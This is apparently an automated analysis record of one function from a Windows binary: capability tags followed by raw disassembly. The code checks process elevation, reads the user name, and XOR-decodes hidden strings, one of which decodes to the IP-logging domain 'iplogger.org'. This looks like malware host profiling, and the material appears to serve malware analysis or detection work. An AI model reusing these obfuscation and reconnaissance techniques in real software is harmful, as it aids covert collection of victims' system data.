Function at 0x405120
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get session user name

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4218ca
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x210
mov eax, dword [0x42c00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x170]
mov dword [ebp - 4], 1
push eax
xor esi, esi
push 8
mov dword [ebp - 0x170], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4051bb
lea eax, [ebp - 0x138]
mov dword [ebp - 0x138], 4
push eax
push 4
lea eax, [ebp - 0x13c]
push eax
push 0x14
push dword [ebp - 0x170]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne esi, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x170]
test eax, eax
je 0x4051cc
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
mov dword [ebp - 0x144], 0
mov edx, str.Elevated
mov dword [ebp - 0x140], 0xf
mov eax, str.NOT_elevated
mov byte [ebp - 0x154], 0
cmove edx, eax
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405200
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x154]
call fcn.00402bb0
lea eax, [ebp - 0x124]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0x120]
mov dword [ebp - 0x124], 0x101
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0x1a8], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x1bc], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405260
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x1bc]
call fcn.00402bb0
mov byte [ebp - 4], 3
call fcn.004059b0
mov edx, eax
cmp byte [edx + 0x80], 0
je 0x405302
movaps xmm2, xmmword [0x429580]
xor ecx, ecx
nop dword [eax]
movups xmm0, xmmword [edx + ecx]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [edx + ecx], xmm1
movups xmm0, xmmword [edx + ecx + 0x10]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [edx + ecx + 0x10], xmm1
movups xmm0, xmmword [edx + ecx + 0x20]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [edx + ecx + 0x20], xmm1
movups xmm0, xmmword [edx + ecx + 0x30]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [edx + ecx + 0x30], xmm1
add ecx, 0x40
cmp ecx, 0x80
jb 0x4052a0
cmp ecx, 0x81
jae 0x405302
xor byte [ecx + edx], 0x2e
inc ecx
cmp ecx, 0x81
jb 0x4052f5
mov ecx, edx
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x190], 0xf
mov byte [ebp - 0x1a4], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405322
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x1a4]
call fcn.00402bb0
lea eax, [ebp - 0x1bc]
mov byte [ebp - 4], 4
push eax
lea edx, [ebp - 0x1a4]
lea ecx, [ebp - 0x208]
call fcn.0040a400
add esp, 4
mov edi, eax
mov byte [ebp - 4], 5
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 3
jb 0x405394
lea eax, [ecx + 3]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x40537b
mov eax, dword [edi]
push 3
lea esi, [eax + ecx]
push 0x429074
push esi
call fcn.0040f0f0
add esp, 0xc
mov byte [esi + 3], 0
jmp 0x4053b3
push 3
push 0x429074
mov byte [ebp - 0x124], 0
mov ecx, edi
push dword [ebp - 0x124]
push 3
call fcn.00402df0
mov edi, eax
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x18c], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [ebp - 0x17c], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
lea eax, [ebp - 0x154]
mov byte [ebp - 4], 6
push eax
lea edx, [ebp - 0x18c]
lea ecx, [ebp - 0x1f0]
call fcn.0040a360
add esp, 4
push 0x42ca20
mov edx, eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x1d8]
call fcn.0040a360
add esp, 4
lea ecx, [ebx + 0x20]
mov byte [ebp - 4], 8
push ecx
mov edx, eax
lea ecx, [ebp - 0x16c]
call fcn.0040a360
add esp, 4
mov byte [ebp - 4], 0xa
mov edx, dword [ebp - 0x1c4]
cmp edx, 0x10
jb 0x40547d
mov ecx, dword [ebp - 0x1d8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405473
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40596a
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], 0xf
mov byte [ebp - 0x1d8], 0
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x1dc]
cmp edx, 0x10
jb 0x4054d6
mov ecx, dword [ebp - 0x1f0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4054cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40596f
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x178]
cmp edx, 0x10
jb 0x40552f
mov ecx, dword [ebp - 0x18c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405525
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405974
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0xf
mov byte [ebp - 0x18c], 0
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x1f4]
cmp edx, 0x10
jb 0x405588
mov ecx, dword [ebp - 0x208]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40557e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405979
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x190]
cmp edx, 0x10
jb 0x4055e1
mov ecx, dword [ebp - 0x1a4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4055d7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40597e
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x190], 0xf
mov byte [ebp - 0x1a4], 0
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x1a8]
cmp edx, 0x10
jb 0x40563a
mov ecx, dword [ebp - 0x1bc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405630
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405983
push edx
push ecx
call fcn.0040c1fd
add esp, 8
sub esp, 0x18
mov dword [ebp - 0x1ac], 0
mov ecx, esp
mov dword [ebp - 0x124], esp
mov dword [ebp - 0x1a8], 0xf
mov byte [ebp - 0x1bc], 0
push 3
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push 0x428f2c
mov byte [ecx], 0
call fcn.00402bb0
mov byte [ebp - 4], 0x10
lea edx, [ebp - 0x16c]
cmp dword [ebp - 0x158], 0x10
cmovae edx, dword [ebp - 0x16c]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x13c], esp
mov ecx, edx
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
lea edi, [ecx + 1]
mov byte [esi], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4056b6
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00402bb0
sub esp, 0x18
mov byte [ebp - 4], 0x11
mov ecx, esp
mov dword [ebp - 0x138], esp
push 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push 0x428f58
mov byte [ecx], 0
call fcn.00402bb0
mov byte [ebp - 4], 0x12
lea edx, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
cmovae edx, dword [ebx + 8]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x170], esp
mov ecx, edx
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
lea edi, [ecx + 1]
mov byte [esi], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405724
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.00402bb0
mov byte [ebp - 4], 0x13
mov eax, dword fs:[0x2c]
mov dword [ebp - 0x134], 0x41425e47
mov dword [ebp - 0x130], 0x5c4b4949
mov dword [ebp - 0x12c], 0x495c4100
mov ecx, dword [eax]
mov eax, dword [0x42d6c8]
mov byte [ebp - 0x171], 0x2e
cmp eax, dword [ecx + 4]
jle 0x4057ca
push 0x42d6c8
call fcn.0040c3ad
add esp, 4
cmp dword [0x42d6c8], 0xffffffff
jne 0x4057ca
mov eax, dword [ebp - 0x12c]
movq xmm0, qword [ebp - 0x134]
mov dword [0x42d75c], eax
mov al, byte [ebp - 0x171]
push 0x4224a0
movq qword [0x42d754], xmm0
mov byte [0x42d760], al
call fcn.0040c807
add esp, 4
push 0x42d6c8
call fcn.0040c363
add esp, 4
cmp byte [0x42d760], 0
je 0x4057e2
xor eax, eax
xor byte [eax + 0x42d754], 0x2e
inc eax
cmp eax, 0xd
jb 0x4057d5
sub esp, 0x18
mov ecx, 0x42d754
mov edx, esp
lea esi, [ecx + 1]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405800
sub ecx, esi
push ecx
push 0x42d754
mov ecx, edx
call fcn.00402bb0
lea ecx, [ebp - 0x220]
mov byte [ebp - 4], 0xf
call fcn.00403050
mov edx, dword [ebp - 0x20c]
add esp, 0x78
cmp edx, 0x10
jb 0x405862
mov ecx, dword [ebp - 0x220]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405858
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405988
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp - 0x158]
cmp edx, 0x10
jb 0x40589c
mov ecx, dword [ebp - 0x16c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405892
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40598d
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebp - 0x140]
cmp edx, 0x10
jb 0x4058d6
mov ecx, dword [ebp - 0x154]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4058cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405992
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebx + 0x1c]
cmp edx, 0x10
jb 0x40590a
mov ecx, dword [ebx + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405900
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405997
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov edx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp edx, 0x10
jb 0x40594c
mov ecx, dword [ebx + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405942
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40599c
push edx
push ecx
call fcn.0040c1fd
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040c096
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
call fcn.0040fee0
int3